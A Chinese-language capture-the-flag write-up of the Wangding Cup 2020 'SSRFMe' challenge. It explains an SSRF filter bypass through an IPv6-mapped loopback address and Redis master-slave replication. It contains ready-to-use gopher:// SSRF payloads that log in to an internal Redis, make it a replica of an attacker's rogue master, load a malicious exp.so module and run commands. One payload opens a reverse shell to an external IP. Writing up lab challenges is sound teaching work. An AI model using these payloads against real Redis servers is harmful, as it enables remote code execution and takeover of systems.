[网鼎杯 2020 玄武组]SSRFMe
网站直接给了源码
看来又是残酷的代码审计了
1 | <?php |
我们进行代码审计
check_inner_ip用于限制了只能使用http、https、gopher、dict这四个协议,然后通过parse_url获取的地址执行gethostbyname()函数,这个函数解析不了127.0.0.1,也防御了xip.io这类利用dns解析的方法。使用ip2long将ip地址转为整数,判断是否为内网网段,防御了127.0.0.1/8
有个小知识点
当处理
curl和php_url_parse处理后最终的目标不一样
当 php_url_parse
认为 google.com
为目标的同时,curl
认为 evil.com:80
是目标。
safe_request_url先用上一个函数判断,不符合即会开启curl会话,输入值
看到curl_exec也比较明确是ssrf了,代码最后提示要从本地端访问hint.php文件,那么绕过本地验证即可,方法也有很多,我这里使用
1 | http://[0:0:0:0:0:ffff:127.0.0.1]//hint.php |
我们进入下一层
1 | <?php |
看到这个
1 | file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']); |
我们就知道考file_put_contents的死亡绕过,博客
好吧,尝试了一下考的不是这个
我们发现代码中出现了redispass is root
那考点就不是这,应该要结合redis
redis主从复制
1 | 主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。 |
所以我们这题的思路是,创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过 slaveof 命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。然后将恶意Redis主机上的exp同步到Reids从机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可。
我们先下两个工具
1 | 未授权访问 : 未启用认证功能或认证密码为空,用户可直接连接 |
1 | https://github.com/n0b0dyCN/redis-rogue-server |
首先 工具一的exp.so需要复制到工具二的目录下,工具二才能使用
我们先开启主服务
1 | # lport就是指定攻击机的ip和端口的,我们是内网穿透映射到虚拟机的1028端口 |
然后利用gopher联动redis
首先先设置备份路径
1 | gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit |
成功
然后生成一个exp.so文件,再设置主从关系(ip改为自己的服务器)
1 | gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520ip%25201028%250d%250aquit |
返回四个ok
linux服务器也一直在回显
然后继续加载模块
1 | gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520./exp.so%250d%250aquit |
得到三个ok
最后关闭主从同步
1 | gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit |
返回三个ok
关闭后去看刚刚监听的地方会返回pong
然后我们导出数据库(设置备份文件名字)
1 | gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit |
返回三个ok
方法一
rce获得flag
1 | gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit |
方法二
shell反弹(没弹出但有这个方法)
1 | gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.rev%252060.204.158.87%25206666%250d%250aquit |
redis主从复制
主从复制是指将一台Redis主服务器的数据,复制到其他的Redis从服务器。前者称为主节点(master),后者称为从节点(slave);
主服务器可以进行读写操作,当发生写操作时自动将写操作同步给从服务器,而从服务器一般是只读,并接受主服务器同步过来写操作命令,然后执行这条命令。
也就是说,所有的数据修改只在主服务器上进行,然后将最新的数据同步给从服务器,这样就使得主从服务器的数据是一致的。
建立主从复制,有3种方式:
- 配置文件写入
slaveof <master_ip> <master_port>
- redis-server启动命令后加入
--slaveof <master_ip> <master_port>
- 连接到客户端之后执行:
slaveof <master_ip> <master_port>
PS:建立主从关系只需要在从节点操作就行了,主节点不用任何操作
我们先在同一个机器开两个redis实例,一个端口为6379,一个端口为6380
我们把master_ip设置为127.0.0.1,master_port为6380
1 | root@kali:/usr/bin# redis-cli -p 6379 |
我们明显看到数据同步了
redis常用命令
1 | set xz "Hacker" # 设置键xz的值为字符串Hacker |